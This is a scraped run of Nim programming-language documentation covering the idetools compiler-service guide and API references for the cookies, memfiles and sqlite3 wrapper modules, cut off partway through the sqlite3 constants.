`--suggest` explained in the following sections. `COL` An integer with the column you are going to query. For the compiler columns start at zero, so the first column will be **0** and the last in an 80 column terminal will be **79**. `LINE` An integer with the line you are going to query. For the compiler lines start at **1**. `FILE` The file you want to perform the query on. Usually you will pass in the same value as **proj.nim**. `DIRTY_FILE` The **FILE** parameter is enough for static analysis, but IDEs tend to have *unsaved buffers* where the user may still be in the middle of typing a line. In such situations the IDE can save the current contents to a temporary file and then use the `--trackDirty` switch. Dirty files are likely to contain errors and they are usually compiled partially only to the point needed to service the idetool request. The compiler discriminates them to ensure that **a)** they won't be cached and **b)** they won't invalidate the cached contents of the original module. The other reason is that the dirty file can appear anywhere on disk (e.g. in tmpfs), but it must be treated as having a path matching the original module when it comes to usage of relative paths, etc. Queries, however, will refer to the dirty module name in their answers instead of the normal filename. ### Definitions The `--def` idetools switch performs a query about the definition of a specific symbol. If available, idetools will answer with the type, source file, line/column information and other accessory data if available like a docstring. With this information an IDE can provide the typical *Jump to definition* where a user puts the cursor on a symbol or uses the mouse to select it and is redirected to the place where the symbol is located. Since Nim is implemented in Nim, one of the nice things of this feature is that any user with an IDE supporting it can quickly jump around the standard library implementation and see exactly what a proc does, learning about the language and seeing real life examples of how to write/implement specific features. Idetools will always answer with a single definition or none if it can't find any valid symbol matching the position of the query. ### Suggestions The `--suggest` idetools switch performs a query about possible completion symbols at some point in the file. IDEs can easily provide an autocompletion feature where the IDE scans the current file (and related ones, if it knows about the language being edited and follows includes/imports) and when the user starts typing something a completion box with different options appears. However such features are not context sensitive and work simply on string matching, which can be problematic in Nim especially due to the case insensitiveness of the language (plus underscores as separators!). The typical usage scenario for this option is to call it after the user has typed the dot character for [the object oriented call syntax](https://nim-lang.org/docs/tut2.html#object-oriented-programming-method-call-syntax). Idetools will try to return the suggestions sorted first by scope (from innermost to outermost) and then by item name. ### Invocation context The `--context` idetools switch is very similar to the suggestions switch, but instead of being used after the user has typed a dot character, this one is meant to be used after the user has typed an opening brace to start typing parameters. ### Symbol usages The `--usages` idetools switch lists all usages of the symbol at a position. IDEs can use this to find all the places in the file where the symbol is used and offer the user to rename it in all places at the same time. Again, a pure string based search and replace may catch symbols out of the scope of a function/loop. For this kind of query the IDE will most likely ignore all the type/signature info provided by idetools and concentrate on the filename, line and column position of the multiple returned answers. ### Expression evaluation This feature is still under development. In the future it will allow an IDE to evaluate an expression in the context of the currently running/debugged user project. Compiler as a service (CAAS) ---------------------------- The occasional use of idetools is acceptable for things like definitions, where the user puts the cursor on a symbol or double clicks it and after a second or two the IDE displays where that symbol is defined. Such latencies would be terrible for features like symbol suggestion, plus why wait at all if we can avoid it? The idetools command can be run as a compiler service (CAAS), where you first launch the compiler and it will stay online as a server, accepting queries in a telnet like fashion. The advantage of staying on is that for many queries the compiler can cache the results of the compilation, and subsequent queries should be fast in the millisecond range, thus being responsive enough for IDEs. If you want to start the server using stdin/stdout as communication you need to type: ``` nim serve --server.type:stdin proj.nim ``` If you want to start the server using tcp and a port, you need to type: ``` nim serve --server.type:tcp --server.port:6000 \ --server.address:hostname proj.nim ``` In both cases the server will start up and await further commands. The syntax of the commands you can now send to the server is practically the same as running the nim compiler on the commandline, you only need to remove the name of the compiler since you are already talking to it. The server will answer with as many lines of text it thinks necessary plus an empty line to indicate the end of the answer. You can find examples of client/server communication in the idetools tests found in the [Test suite](#test-suite). Parsing idetools output ----------------------- Idetools outputs is always returned on single lines separated by tab characters (`\t`). The values of each column are: 1. Three characters indicating the type of returned answer (e.g. def for definition, `sug` for suggestion, etc). 2. Type of the symbol. This can be `skProc`, `skLet`, and just about any of the enums defined in the module `compiler/ast.nim`. 3. Full qualified path of the symbol. If you are querying a symbol defined in the `proj.nim` file, this would have the form `proj.symbolName`. 4. Type/signature. For variables and enums this will contain the type of the symbol, for procs, methods and templates this will contain the full unique signature (e.g. `proc (File)`). 5. Full path to the file containing the symbol. 6. Line where the symbol is located in the file. Lines start to count at **1**. 7. Column where the symbol is located in the file. Columns start to count at **0**. 8. Docstring for the symbol if available or the empty string. To differentiate the docstring from end of answer in server mode, the docstring is always provided enclosed in double quotes, and if the docstring spans multiple lines, all following lines of the docstring will start with a blank space to align visually with the starting quote. Also, you won't find raw `\n` characters breaking the one answer per line format. Instead you will need to parse sequences in the form `\xHH`, where *HH* is a hexadecimal value (e.g. newlines generate the sequence `\x0A`). The following sections define the expected output for each kind of symbol for which idetools returns valid output. ### skConst **Third column**: module + [n scope nesting] + const name. **Fourth column**: the type of the const value. **Docstring**: always the empty string. ``` const SOME_SEQUENCE = @[1, 2] --> col 2: $MODULE.SOME_SEQUENCE col 3: seq[int] col 7: "" ``` ### skEnumField **Third column**: module + [n scope nesting] + enum type + enum field name. **Fourth column**: enum type grouping other enum fields. **Docstring**: always the empty string. ``` Open(filename, fmWrite) --> col 2: system.FileMode.fmWrite col 3: FileMode col 7: "" ``` ### skForVar **Third column**: module + [n scope nesting] + var name. **Fourth column**: type of the var. **Docstring**: always the empty string. ``` proc looper(filename = "tests.nim") = for letter in filename: echo letter --> col 2: $MODULE.looper.letter col 3: char col 7: "" ``` ### skIterator, skClosureIterator The fourth column will be the empty string if the iterator is being defined, since at that point in the file the parser hasn't processed the full line yet. The signature will be returned complete in posterior instances of the iterator. **Third column**: module + [n scope nesting] + iterator name. **Fourth column**: signature of the iterator including return type. **Docstring**: docstring if available. ``` let text = "some text" letters = toSeq(runes(text)) --> col 2: unicode.runes col 3: iterator (string): Rune col 7: "iterates over any unicode character of the string `s`." ``` ### skLabel **Third column**: module + [n scope nesting] + name. **Fourth column**: always the empty string. **Docstring**: always the empty string. ``` proc test(text: string) = var found = -1 block loops: --> col 2: $MODULE.test.loops col 3: "" col 7: "" ``` ### skLet **Third column**: module + [n scope nesting] + let name. **Fourth column**: the type of the let variable. **Docstring**: always the empty string. ``` let text = "some text" --> col 2: $MODULE.text col 3: TaintedString col 7: "" ``` ### skMacro The fourth column will be the empty string if the macro is being defined, since at that point in the file the parser hasn't processed the full line yet. The signature will be returned complete in posterior instances of the macro. **Third column**: module + [n scope nesting] + macro name. **Fourth column**: signature of the macro including return type. **Docstring**: docstring if available. ``` proc testMacro() = expect(EArithmetic): --> col 2: idetools_api.expect col 3: proc (varargs[expr], stmt): stmt col 7: "" ``` ### skMethod The fourth column will be the empty string if the method is being defined, since at that point in the file the parser hasn't processed the full line yet. The signature will be returned complete in posterior instances of the method. Methods imply [dynamic dispatch](https://nim-lang.org/docs/tut2.html#object-oriented-programming-dynamic-dispatch) and idetools performs a static analysis on the code. For this reason idetools may not return the definition of the correct method you are querying because it may be impossible to know until the code is executed. It will try to return the method which covers the most possible cases (i.e. for variations of different classes in a hierarchy it will prefer methods using the base class). While at the language level a method is differentiated from others by the parameters and return value, the signature of the method returned by idetools returns also the pragmas for the method. Note that at the moment the word `proc` is returned for the signature of the found method instead of the expected `method`. This may change in the future. **Third column**: module + [n scope nesting] + method name. **Fourth column**: signature of the method including return type. **Docstring**: docstring if available. ``` method eval(e: PExpr): int = quit "to override!" method eval(e: PLiteral): int = e.x method eval(e: PPlusExpr): int = eval(e.a) + eval(e.b) echo eval(newPlus(newPlus(newLit(1), newLit(2)), newLit(4))) --> col 2: $MODULE.eval col 3: proc (PPlusExpr): int col 7: "" ``` ### skParam **Third column**: module + [n scope nesting] + param name. **Fourth column**: the type of the parameter. **Docstring**: always the empty string. ``` proc reader(filename = "tests.nim") = let text = readFile(filename) --> col 2: $MODULE.reader.filename col 3: string col 7: "" ``` ### skProc The fourth column will be the empty string if the proc is being defined, since at that point in the file the parser hasn't processed the full line yet. The signature will be returned complete in posterior instances of the proc. While at the language level a proc is differentiated from others by the parameters and return value, the signature of the proc returned by idetools returns also the pragmas for the proc. **Third column**: module + [n scope nesting] + proc name. **Fourth column**: signature of the proc including return type. **Docstring**: docstring if available. ``` open(filename, fmWrite) --> col 2: system.Open col 3: proc (var File, string, FileMode, int): bool col 7: "Opens a file named `filename` with given `mode`. Default mode is readonly. Returns true iff the file could be opened. This throws no exception if the file could not be opened." ``` ### skResult **Third column**: module + [n scope nesting] + result. **Fourth column**: the type of the result. **Docstring**: always the empty string. ``` proc getRandomValue() : int = return 4 --> col 2: $MODULE.getRandomValue.result col 3: int col 7: "" ``` ### skTemplate The fourth column will be the empty string if the template is being defined, since at that point in the file the parser hasn't processed the full line yet. The signature will be returned complete in posterior instances of the template. **Third column**: module + [n scope nesting] + template name. **Fourth column**: signature of the template including return type. **Docstring**: docstring if available. ``` let text = "some text" letters = toSeq(runes(text)) --> col 2: sequtils.toSeq col 3: proc (expr): expr col 7: "Transforms any iterator into a sequence. Example: .. code-block:: nim let numeric = @[1, 2, 3, 4, 5, 6, 7, 8, 9] odd_numbers = toSeq(filter(numeric) do (x: int) -> bool: if x mod 2 == 1: result = true) assert odd_numbers == @[1, 3, 5, 7, 9]" ``` ### skType **Third column**: module + [n scope nesting] + type name. **Fourth column**: the type. **Docstring**: always the empty string. ``` proc writeTempFile() = var output: File --> col 2: system.File col 3: File col 7: "" ``` ### skVar **Third column**: module + [n scope nesting] + var name. **Fourth column**: the type of the var. **Docstring**: always the empty string. ``` proc writeTempFile() = var output: File output.open("/tmp/somefile", fmWrite) output.write("test") --> col 2: $MODULE.writeTempFile.output col 3: File col 7: "" ``` Test suite ---------- To verify that idetools is working properly there are files in the `tests/caas/` directory which provide unit testing. If you find odd idetools behaviour and are able to reproduce it, you are welcome to report it as a bug and add a test to the suite to avoid future regressions. ### Running the test suite At the moment idetools support is still in development so the test suite is not integrated with the main test suite and you have to run it manually. First you have to compile the tester: ``` $ cd my/nim/checkout/tests $ nim c testament/caasdriver.nim ``` Running the `caasdriver` without parameters will attempt to process all the test cases in all three operation modes. If a test succeeds nothing will be printed and the process will exit with zero. If any test fails, the specific line of the test preceding the failure and the failure itself will be dumped to stdout, along with a final indicator of the success state and operation mode. You can pass the parameter `verbose` to force all output even on successful tests. The normal operation mode is called `ProcRun` and it involves starting a process for each command or query, similar to running manually the Nim compiler from the commandline. The `CaasRun` mode starts a server process to answer all queries. The `SymbolProcRun` mode is used by compiler developers. This means that running all tests involves processing all `*.txt` files three times, which can be quite time consuming. If you don't want to run all the test case files you can pass any substring as a parameter to `caasdriver`. Only files matching the passed substring will be run. The filtering doesn't use any globbing metacharacters, it's a plain match. For example, to run only `*-compile*.txt` tests in verbose mode: ``` ./caasdriver verbose -compile ``` ### Test case file format All the `tests/caas/*.txt` files encode a session with the compiler: * The first line indicates the main project file. * Lines starting with `>` indicate a command to be sent to the compiler and the lines following a command include checks for expected or forbidden output (`!` for forbidden). * If a line starts with `#` it will be ignored completely, so you can use that for comments. * Since some cases are specific to either `ProcRun` or `CaasRun` modes, you can prefix a line with the mode and the line will be processed only in that mode. * The rest of the line is treated as a [regular expression](re), so be careful escaping metacharacters like parenthesis. Before the line is processed as a regular expression, some basic variables are searched for and replaced in the tests. The variables which will be replaced are: * **$TESTNIM**: filename specified in the first line of the script. * **$MODULE**: like $TESTNIM but without extension, useful for expected output. When adding a test case to the suite it is a good idea to write a few comments about what the test is meant to verify. nim cookies cookies ======= This module implements helper procs for parsing Cookies. Imports ------- <strtabs>, <times> Procs ----- ``` proc parseCookies(s: string): StringTableRef {...}{.raises: [], tags: [].} ``` parses cookies into a string table. The proc is meant to parse the Cookie header set by a client, not the "Set-Cookie" header set by servers. Example: ``` doAssert parseCookies("a=1; foo=bar") == {"a": 1, "foo": "bar"}.newStringTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cookies.nim#L14) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cookies.nim#L14) ``` proc setCookie(key, value: string; domain = ""; path = ""; expires = ""; noName = false; secure = false; httpOnly = false): string {...}{. raises: [], tags: [].} ``` Creates a command in the format of `Set-Cookie: key=value; Domain=...; ...` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cookies.nim#L40) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cookies.nim#L40) ``` proc setCookie(key, value: string; expires: DateTime | Time; domain = ""; path = ""; noName = false; secure = false; httpOnly = false): string ``` Creates a command in the format of `Set-Cookie: key=value; Domain=...; ...` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cookies.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cookies.nim#L54)
programming_docs
nim memfiles memfiles ======== This module provides support for memory mapped files (Posix's mmap) on the different operating systems. It also provides some fast iterators over lines in text files (or other "line-like", variable length, delimited records). Imports ------- <posix>, <os>, <streams> Types ----- ``` MemFile = object mem*: pointer ## a pointer to the memory mapped file. The pointer ## ## can be used directly to change the contents of the ## ## file, if it was opened with write access. size*: int ## size of the memory mapped file when defined(windows): fHandle*: Handle ## **Caution**: Windows specific public field to allow ## even more low level trickery. mapHandle*: Handle ## **Caution**: Windows specific public field. wasOpened*: bool ## **Caution**: Windows specific public field. else: handle*: cint ## **Caution**: Posix specific public field. flags: cint ## **Caution**: Platform specific private field. ``` represents a memory mapped file [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L32) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L32) ``` MemSlice = object data*: pointer size*: int ``` represent slice of a MemFile for iteration over delimited lines/records [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L366) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L366) ``` MemMapFileStream = ref MemMapFileStreamObj ``` a stream that encapsulates a `MemFile` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L468) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L468) ``` MemMapFileStreamObj = object of Stream mf: MemFile mode: FileMode pos: ByteAddress ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L469) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L469) Procs ----- ``` proc mapMem(m: var MemFile; mode: FileMode = fmRead; mappedSize = -1; offset = 0; mapFlags = cint(-1)): pointer {...}{. raises: [IOError, OSError], tags: [].} ``` returns a pointer to a mapped portion of MemFile `m` `mappedSize` of `-1` maps to the whole file, and `offset` must be multiples of the PAGE SIZE of your OS [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L47) ``` proc unmapMem(f: var MemFile; p: pointer; size: int) {...}{.raises: [OSError], tags: [].} ``` unmaps the memory region `(p, <p+size)` of the mapped file `f`. All changes are written back to the file system, if `f` was opened with write access. `size` must be of exactly the size that was requested via `mapMem`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L85) ``` proc open(filename: string; mode: FileMode = fmRead; mappedSize = -1; offset = 0; newFileSize = -1; allowRemap = false; mapFlags = cint(-1)): MemFile {...}{. raises: [IOError, OSError], tags: [].} ``` opens a memory mapped file. If this fails, `OSError` is raised. `newFileSize` can only be set if the file does not exist and is opened with write access (e.g., with fmReadWrite). `mappedSize` and `offset` can be used to map only a slice of the file. `offset` must be multiples of the PAGE SIZE of your OS (usually 4K or 8K but is unique to your OS) `allowRemap` only needs to be true if you want to call `mapMem` on the resulting MemFile; else file handles are not kept open. `mapFlags` allows callers to override default choices for memory mapping flags with a bitwise mask of a variety of likely platform-specific flags which may be ignored or even cause `open` to fail if misspecified. Example: ``` var mm, mm_full, mm_half: MemFile mm = memfiles.open("/tmp/test.mmap", mode = fmWrite, newFileSize = 1024) # Create a new file mm.close() # Read the whole file, would fail if newFileSize was set mm_full = memfiles.open("/tmp/test.mmap", mode = fmReadWrite, mappedSize = -1) # Read the first 512 bytes mm_half = memfiles.open("/tmp/test.mmap", mode = fmReadWrite, mappedSize = 512) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L98) ``` proc flush(f: var MemFile; attempts: Natural = 3) {...}{.raises: [OSError], tags: [].} ``` Flushes `f`'s buffer for the number of attempts equal to `attempts`. If were errors an exception `OSError` will be raised. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L280) ``` proc resize(f: var MemFile; newFileSize: int) {...}{.raises: [IOError, OSError], tags: [].} ``` resize and re-map the file underlying an `allowRemap MemFile`. **Note**: this assumes the entire file is mapped read-write at offset zero. Also, the value of `.mem` will probably change. **Note**: This is not (yet) available on Windows. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L303) ``` proc close(f: var MemFile) {...}{.raises: [OSError], tags: [].} ``` closes the memory mapped file `f`. All changes are written back to the file system, if `f` was opened with write access. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L331) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L331) ``` proc `==`(x, y: MemSlice): bool {...}{.raises: [], tags: [].} ``` Compare a pair of MemSlice for strict equality. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L370) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L370) ``` proc `$`(ms: MemSlice): string {...}{.inline, raises: [], tags: [].} ``` Return a Nim string built from a MemSlice. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L374) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L374) ``` proc newMemMapFileStream(filename: string; mode: FileMode = fmRead; fileSize: int = -1): MemMapFileStream {...}{. raises: [IOError, OSError], tags: [].} ``` creates a new stream from the file named `filename` with the mode `mode`. Raises ## `OSError` if the file cannot be opened. See the <system> module for a list of available FileMode enums. `fileSize` can only be set if the file does not exist and is opened with write access (e.g., with fmReadWrite). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L512) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L512) Iterators --------- ``` iterator memSlices(mfile: MemFile; delim = '\n'; eat = '\c'): MemSlice {...}{.inline, raises: [], tags: [].} ``` Iterates over [optional `eat`] `delim`-delimited slices in MemFile `mfile`. Default parameters parse lines ending in either Unix(\l) or Windows(\r\l) style on on a line-by-line basis. I.e., not every line needs the same ending. Unlike readLine(File) & lines(File), archaic MacOS9 \r-delimited lines are not supported as a third option for each line. Such archaic MacOS9 files can be handled by passing delim='\r', eat='\0', though. Delimiters are not part of the returned slice. A final, unterminated line or record is returned just like any other. Non-default delimiters can be passed to allow iteration over other sorts of "line-like" variable length records. Pass eat='\0' to be strictly `delim`-delimited. (Eating an optional prefix equal to '\0' is not supported.) This zero copy, memchr-limited interface is probably the fastest way to iterate over line-like records in a file. However, returned (data,size) objects are not Nim strings, bounds checked Nim arrays, or even terminated C strings. So, care is required to access the data (e.g., think C mem\* functions, not str\* functions). Example: ``` var count = 0 for slice in memSlices(memfiles.open("foo")): if slice.size > 0 and cast[cstring](slice.data)[0] != '#': inc(count) echo count ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L379) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L379) ``` iterator lines(mfile: MemFile; buf: var TaintedString; delim = '\n'; eat = '\c'): TaintedString {...}{. inline, raises: [], tags: [].} ``` Replace contents of passed buffer with each new line, like [readLine(File)](io#readLine,File,TaintedString). `delim`, `eat`, and delimiting logic is exactly as for [memSlices](#memSlices.i,MemFile,char,char), but Nim strings are returned. Example: ``` var buffer: TaintedString = "" for line in lines(memfiles.open("foo"), buffer): echo line ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L431) ``` iterator lines(mfile: MemFile; delim = '\n'; eat = '\c'): TaintedString {...}{. inline, raises: [], tags: [].} ``` Return each line in a file as a Nim string, like [lines(File)](io#lines.i,File). `delim`, `eat`, and delimiting logic is exactly as for [memSlices](#memSlices.i,MemFile,char,char), but Nim strings are returned. Example: ``` for line in lines(memfiles.open("foo")): echo line ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/memfiles.nim#L451) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/memfiles.nim#L451) nim sqlite3 sqlite3 ======= Types ----- ``` PSqlite3 = ptr Sqlite3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L109) ``` PPSqlite3 = ptr PSqlite3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L110) ``` PSqlite3_Backup = ptr Sqlite3_Backup ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L112) ``` PPSqlite3_Backup = ptr PSqlite3_Backup ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L113) ``` Pcontext = ptr Context ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L115) ``` PStmt = ptr TStmt ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L117) ``` PValue = ptr Value ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L119) ``` PValueArg = array[0 .. 127, PValue] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L120) ``` Callback = proc (para1: pointer; para2: int32; para3, para4: cstringArray): int32 {...}{. cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L122) ``` Tbind_destructor_func = proc (para1: pointer) {...}{.cdecl, locks: 0, tags: [], gcsafe.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L124) ``` Create_function_step_func = proc (para1: Pcontext; para2: int32; para3: PValueArg) {...}{.cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L125) ``` Create_function_func_func = proc (para1: Pcontext; para2: int32; para3: PValueArg) {...}{.cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L127) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L127) ``` Create_function_final_func = proc (para1: Pcontext) {...}{.cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L129) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L129) ``` Result_func = proc (para1: pointer) {...}{.cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L130) ``` Create_collation_func = proc (para1: pointer; para2: int32; para3: pointer; para4: int32; para5: pointer): int32 {...}{.cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L131) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L131) ``` Collation_needed_func = proc (para1: pointer; para2: PSqlite3; eTextRep: int32; para4: cstring) {...}{.cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L133) Consts ------ ``` SQLITE_INTEGER = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L34) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L34) ``` SQLITE_FLOAT = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L35) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L35) ``` SQLITE_BLOB = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L36) ``` SQLITE_NULL = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L37) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L37) ``` SQLITE_TEXT = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L38) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L38) ``` SQLITE_UTF8 = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L39) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L39) ``` SQLITE_UTF16LE = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L40) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L40) ``` SQLITE_UTF16BE = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L41) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L41) ``` SQLITE_UTF16 = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L42) ``` SQLITE_ANY = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L43) ``` SQLITE_OK = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L44) ``` SQLITE_ERROR = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L45) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L45) ``` SQLITE_INTERNAL = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L46) ``` SQLITE_PERM = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L47) ``` SQLITE_ABORT = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L48) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L48) ``` SQLITE_BUSY = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L49) ``` SQLITE_LOCKED = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L50) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L50) ``` SQLITE_NOMEM = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L51) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L51) ``` SQLITE_READONLY = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L52) ``` SQLITE_INTERRUPT = 9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L53) ``` SQLITE_IOERR = 10 ``` 